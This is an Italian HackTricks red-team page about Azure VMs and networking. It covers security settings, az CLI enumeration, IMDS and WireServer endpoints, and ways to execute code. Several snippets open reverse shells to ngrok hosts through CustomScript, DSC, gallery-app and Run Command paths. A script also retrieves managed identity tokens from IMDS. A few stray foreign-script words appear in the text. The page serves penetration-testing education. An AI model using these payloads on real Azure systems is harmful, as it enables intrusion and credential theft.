Az - Virtual Machines & Network

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks

Azure Networking Basic Info

Azure networks contiene diverse entità e modi per configurarlo. Puoi trovare una breve descrizione, esempi e comandi di enumeration delle diverse entità di rete Azure in:

Az - Azure Network

VMs Basic information

Le Azure Virtual Machines (VMs) sono server flessibili, on-demand basati su cloud che ti consentono di eseguire sistemi operativi Windows o Linux. Permettono di distribuire applicazioni e workload senza gestire hardware fisico. Le Azure VMs possono essere configurate con varie opzioni di CPU, memoria e storage per soddisfare esigenze specifiche e integrarsi con servizi Azure come virtual networks, storage e strumenti di sicurezza.

Security Configurations

  • Availability Zones: Le availability zones sono gruppi distinti di datacenter all’interno di una specifica Azure region, fisicamente separati per ridurre al minimo il rischio che più zone siano प्रभावित da outage o disastri locali.
  • Security Type:
  • Standard Security: Questo è il tipo di security predefinito che non richiede alcuna configurazione specifica.
  • Trusted Launch: Questo tipo di security migliora la protezione contro boot kits e malware a livello di kernel usando Secure Boot e Virtual Trusted Platform Module (vTPM).
  • Confidential VMs: Oltre a trusted launch, offre isolamento basato su hardware tra la VM, l’hypervisor e la gestione dell’host, migliora la disk encryption e more.
  • Authentication: Per impostazione predefinita viene generata una nuova SSH key, anche se è possibile usare una public key o usare una key precedente e il username predefinito è azureuser. È anche possibile configurare l’uso di una password.
  • VM disk encryption: Il disk è encrypted at rest per impostazione predefinita usando una platform managed key.
  • È anche possibile abilitare Encryption at host, dove i dati saranno encrypted nell’host prima di essere inviati al storage service, garantendo una end-to-end encryption tra l’host e lo storage service (docs).
  • NIC network security group:
  • None: In pratica apre ogni port
  • Basic: Permette di aprire facilmente i inbound port HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Advanced: Seleziona un security group
  • Backup: È possibile abilitare backup Standard (uno al giorno) e Enhanced (più volte al giorno)
  • Patch orchestration options: Permette di applicare automaticamente le patch nelle VMs in base alla policy selezionata come descritto nei docs.
  • Alerts: È possibile ricevere automaticamente alert via email o mobile app quando succede qualcosa nella VM. Regole predefinite:
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: Per impostazione predefinita controlla il protocollo HTTP sulla port 80
  • Locks: Consente di bloccare una VM in modo che possa essere solo letta (ReadOnly lock) oppure letta e aggiornata ma non eliminata (CanNotDelete lock).
  • La maggior parte delle risorse correlate alle VM supporta anche locks come disks, snapshots…
  • I locks possono anche essere applicati a livello di resource group e subscription

Disks & snapshots

  • È possibile abilitare l’attachment di un disk a 2 o più VMs
  • Per impostazione predefinita ogni disk è encrypted con una platform key.
  • Anche negli snapshots
  • Per impostazione predefinita è possibile condividere il disk da tutte le networks, ma può anche essere restricted a solo un certo private access oppure disabilitare completamente l’accesso pubblico e privato.
  • Anche negli snapshots
  • È possibile generare una SAS URI (di massimo 60 giorni) per exportare il disk, che può essere configurata per richiedere autenticazione o meno
  • Anche negli snapshots
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Una VM image è un template che contiene il sistema operativo, le impostazioni dell’application e il filesystem necessari per creare una nuova virtual machine (VM). La differenza tra un image e uno disk snapshot è che un disk snapshot è una copia read-only, point-in-time di un singolo managed disk, usata principalmente per backup o troubleshooting, mentre un image può contenere multiple disks ed è progettata per servire come template per creare nuove VM.
Le immagini possono essere gestite nella Images section di Azure o all’interno di Azure compute galleries, che consentono di generare versions e share l’image cross-tenant o persino renderla pubblica.

Un restore point memorizza la configurazione della VM e point-in-time application-consistent snapshots di tutti i managed disks collegati alla VM. È legato alla VM e il suo scopo è poter ripristinare quella VM a com’era in quel preciso punto nel tempo.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

Dalla docs: Site Recovery aiuta a garantire la business continuity mantenendo in esecuzione le app business e i workload durante le interruzioni. Site Recovery replicates workloads in esecuzione su physical e virtual machines (VMs) da un primary site a una secondary location. Quando si verifica un’interruzione nel primary site, si effettua il fail over verso una secondary location e si accede alle app da lì. Dopo che la primary location è di nuovo operativa, puoi fare il fail back verso di essa.

Azure Bastion

Azure Bastion consente un accesso sicuro e senza interruzioni a Remote Desktop Protocol (RDP) e Secure Shell (SSH) alle tue virtual machines (VMs) direttamente tramite Azure Portal o tramite un jump box. Eliminando la necessità di public IP addresses sulle tue VMs.

Bastion distribuisce una subnet chiamata AzureBastionSubnet con una netmask /26 nella VNet su cui deve funzionare. Poi, consente di connettersi alle internal VMs tramite il browser usando RDP e SSH, evitando di esporre le porte delle VMs a Internet. Può anche funzionare come jump host.

Per elencare tutti gli Azure Bastion Hosts nella tua subscription e connetterti alle VMs tramite essi, puoi usare i seguenti comandi:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

L’Azure Instance Metadata Service (IMDS) fornisce informazioni sulle istanze di virtual machine in esecuzione per aiutarne la gestione e la configurazione. Offre dettagli come lo SKU, lo storage, le configurazioni di rete e informazioni sui prossimi eventi di manutenzione tramite REST API disponibile all’indirizzo IP non instradabile 169.254.169.254, accessibile solo dall’interno della VM. La comunicazione tra la VM e IMDS rimane all’interno dell’host, garantendo un accesso sicuro. Quando si interroga IMDS, i client HTTP داخل la VM dovrebbero bypassare i web proxy per garantire una comunicazione corretta.

Inoltre, per contattare l’endpoint dei metadata, la richiesta HTTP deve avere l’header Metadata: true e non deve avere l’header X-Forwarded-For.

Quando si richiede un access token all’endpoint dei metadata, per impostazione predefinita il metadata service userà la system assigned managed identity per generare il token, se esiste una system assigned managed identity. Nel caso in cui ci sia una sola user assigned managed identity, allora questa verrà usata di default. Tuttavia, se non esiste una system assigned managed identity e ci sono multiple user assigned managed identities, allora il metadata service restituirà un errore indicando che ci sono multiple managed identities ed è necessario specificare quale usare.

Guarda come enumerarlo in:

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Code Execution in VMs

VM Extensions

Le Azure VM extensions sono piccole applicazioni che forniscono post-deployment configuration e task di automazione sulle Azure virtual machines (VMs).

This would allow to execute arbitrary code inside VMs.

The required permission is Microsoft.Compute/virtualMachines/extensions/write.

It’s possible to list all the available extensions with:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

È possibile eseguire custom extensions che eseguono custom code:

  • Eseguire una revers shell
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Esegui uno script situato su internet
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Estensioni VM rilevanti

Il permesso richiesto è ancora Microsoft.Compute/virtualMachines/extensions/write.

Estensione VMAccess

Questa estensione consente di modificare la password (o crearla se non esiste) degli utenti all’interno delle VM Windows.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Questa è una VM extension che appartiene a Microsoft e usa PowerShell DSC per gestire la configurazione delle Azure Windows VMs. Pertanto, può essere usata per eseguire comandi arbitrari nelle Windows VMs tramite questa extension:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Questa è un’estensione della VM che consente di eseguire runbooks nelle VM da un automation account. Per ulteriori informazioni, consulta il Automation Accounts service.

VM Applications

Questi sono pacchetti con tutti i dati dell’applicazione e gli script di installazione e disinstallazione che possono essere usati per aggiungere e rimuovere facilmente applicazioni nelle VM.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Questi sono i path in cui le applicazioni vengono scaricate all’interno del file system:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Controlla come installare nuove applicazioni in https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

Caution

È possibile share applicazioni singole e galleries con altre subscriptions o tenants. Questo è molto interessante perché potrebbe permettere a un attacker di backdoor un’applicazione e fare pivot verso altre subscriptions e tenants.

Ma non esiste un “marketplace” per le vm apps come invece c’è per le extensions.

I permissions richiesti sono:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Esempio di exploitation per eseguire comandi arbitrari:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Dati utente

Questi sono dati persistenti che possono essere recuperati dall’endpoint dei metadata in ნებისმque momento. Nota che in Azure i dati utente sono diversi da AWS e GCP perché se inserisci uno script qui non viene eseguito per impostazione predefinita.

Dati personalizzati

È possibile passare alcuni dati alla VM che verranno memorizzati nei percorsi previsti:

  • In Windows i dati personalizzati vengono posizionati in %SYSTEMDRIVE%\AzureData\CustomData.bin come file binario e non vengono elaborati.
  • In Linux venivano memorizzati in /var/lib/waagent/ovf-env.xml e ora vengono memorizzati in /var/lib/waagent/CustomData/ovf-env.xml
  • Linux agent: non elabora i dati personalizzati per impostazione predefinita, è necessaria un’immagine custom con i dati abilitati
  • cloud-init: per impostazione predefinita elabora i dati personalizzati e questi dati possono essere in diversi formati. Potrebbe eseguire facilmente uno script inviando solo lo script nei dati personalizzati.
  • Ho verificato che sia Ubuntu che Debian eseguono lo script che inserisci qui.
  • Non è nemmeno necessario abilitare i dati utente affinché questo venga eseguito.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Run Command

Questo è il meccanismo più basilare che Azure fornisce per eseguire comandi arbitrari nelle VM. Il permesso richiesto è Microsoft.Compute/virtualMachines/runCommand/action.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

Le Azure VM espongono internal platform endpoints che vengono usati per la configurazione, il recupero dei metadata e la gestione dell’identità. Capire la differenza tra questi è fondamentale per enumeration, privilege escalation e post-exploitation.

Wire Server (Azure Fabric Endpoint)

L’Azure WireServer è un IP interno di Azure (168.63.129.16) usato dalla piattaforma per comunicare con la VM.

È responsabile di:

  • Comunicazione con il VM Agent
  • Distribuzione di:
  • GoalState
  • ExtensionsConfig
  • Configurazione interna della VM (incluse le identità)
  • Servizi DHCP & DNS
  • Monitoraggio dello stato di salute

GoalState & ExtensionsConfig

Il GoalState rappresenta la configurazione desiderata della VM così come definita da Azure. Può includere:

  • Configurazione delle extension
  • Managed identities
  • Stato di provisioning
  • Istruzioni per l’agent

L’ExtensionsConfig contiene la configurazione dettagliata delle VM extension e può includere:

  • User Assigned Managed Identities
  • Impostazioni delle extension
  • Secrets (a seconda dell’extension)

Questi endpoint sono tipicamente accessibili tramite:

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Considerazioni sull’accesso

L’IP WireServer è generalmente raggiungibile dall’interno della VM tramite lo stack di rete guest. Non è limitato solo ad Azure VM Agent, Run Command o alle VM extensions. Microsoft documenta persino esempi di provisioning Linux agentless in cui normali script in-guest interrogano direttamente GoalState da 168.63.129.16.

Tuttavia, non ogni processo otterrà necessariamente lo stesso risultato pratico:

  • Alcuni endpoint richiedono header specifici per Azure, come x-ms-version: 2012-11-30 per GoalState.
  • I controlli locali del guest possono bloccare o alterare l’accesso, incluse regole del firewall dell’host, proxy, route, network namespace, container o endpoint protection.
  • VM extensions e Run Command in genere vengono eseguiti come root/SYSTEM tramite il VM Agent, quindi possono aggirare restrizioni locali del sistema operativo che colpiscono un utente interattivo.
  • Alcuni dati sono specifici di agent/extension e possono dipendere dallo stato di provisioning della VM, dall’agent installato, dalle extensions configurate o dalla configurazione di managed identity.

Quindi, se una richiesta funziona da Run Command ma fallisce da SSH, la spiegazione abituale è una differenza nell’utente OS, nell’ambiente, nel routing, nel proxy, nel firewall o nel namespace, non una regola generale di Azure secondo cui solo i contesti di esecuzione dell’agent possono raggiungere 168.63.129.16.

Nei test di laboratorio questa distinzione era visibile: l’esecuzione Linux/Windows VM Agent tramite Run Command o Custom Script extensions poteva raggiungere GoalState su 168.63.129.16, mentre una normale sessione SSH su un’altra VM Linux poteva ancora raggiungere IMDS ma andava in timeout quando interrogava GoalState. Considera WireServer/GoalState utile ma dipendente dall’ambiente; non fare affidamento su di esso come metodo canonico per enumerare le managed identities.

Accesso alle Managed Identity dall’interno della VM

Il modo affidabile per usare le managed identities di una VM è l’IMDS managed identity endpoint su 169.254.169.254, non il XML ExtensionsConfig di WireServer. Gli script che cercano solo nodi UserAssignedIdentity in ExtensionsConfig non sono affidabili perché:

  • L’assegnazione della managed identity della VM non è garantito che sia rappresentata come nodi UserAssignedIdentity nel XML delle extension.
  • Non trovano le system-assigned managed identities.
  • Individuano le user-assigned identities solo se il corrente GoalState/dati delle extension espone per caso la forma XML attesa.

Il modello di sicurezza documentato da Microsoft è che tutto il codice in esecuzione sulla VM può richiedere token per le managed identities disponibili su quella VM. Questo è stato confermato da:

  • Linux SSH come normale utente della VM.
  • Linux Run Command tramite il VM Agent.
  • Linux Custom Script extension tramite il VM Agent.
  • Windows Custom Script extension come NT AUTHORITY\SYSTEM.

In tutti questi contesti, IMDS poteva generare token per Management, Microsoft Graph/Entra ID, Key Vault e Storage quando l’identità richiesta era disponibile per la VM.

Ci sono due problemi diversi che è facile confondere:

  • Ottenere un token per un’identità nota: Se l’identità è assegnata alla VM, IMDS può emettere token per audience diverse come https://management.azure.com/, https://graph.microsoft.com/, https://vault.azure.net e https://storage.azure.com/. Se esistono più user-assigned identities, richiedine una specifica con client_id, object_id o msi_res_id.
  • Scoprire ogni identità collegata dall’interno della VM: IMDS non fornisce un semplice endpoint “lista tutte le identity”. Un metodo pratico è ottenere un token Management di default, leggere la risorsa VM tramite ARM e ispezionare la proprietà identity. Questo funziona solo se quella managed identity ha permessi come Microsoft.Compute/virtualMachines/read sulla VM. Se ARM restituisce 403, il token può comunque essere valido e utile, ma non può enumerare l’intera lista delle identity della VM.

Se la discovery via ARM fallisce, puoi comunque provare sorgenti WireServer/HostGAPlugin come GoalState e http://168.63.129.16:32526/vmSettings per cercare campi che sembrano identity (clientId, IdentityClientId, msi_res_id, resource ID di user-assigned identity) e poi chiedere a IMDS token con quei selector. Questo è un fallback, non una garanzia: quegli endpoint dipendono dal contesto e potrebbero non esporre affatto selector di managed identity.

Gli esempi seguenti richiedono prima un token. Poi provano a leggere la risorsa VM da Azure Resource Manager e a stamparne la proprietà identity. Il secondo passaggio funziona solo se la managed identity ha permessi come Microsoft.Compute/virtualMachines/read sulla VM.

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

Privilege Escalation

Az - Virtual Machines & Network Privesc

Unauthenticated Access

Az - VMs Unauth

Post Exploitation

Az - VMs & Network Post Exploitation

Persistence

Az - VMs Persistence

References

Tip

Impara & pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Sostieni HackTricks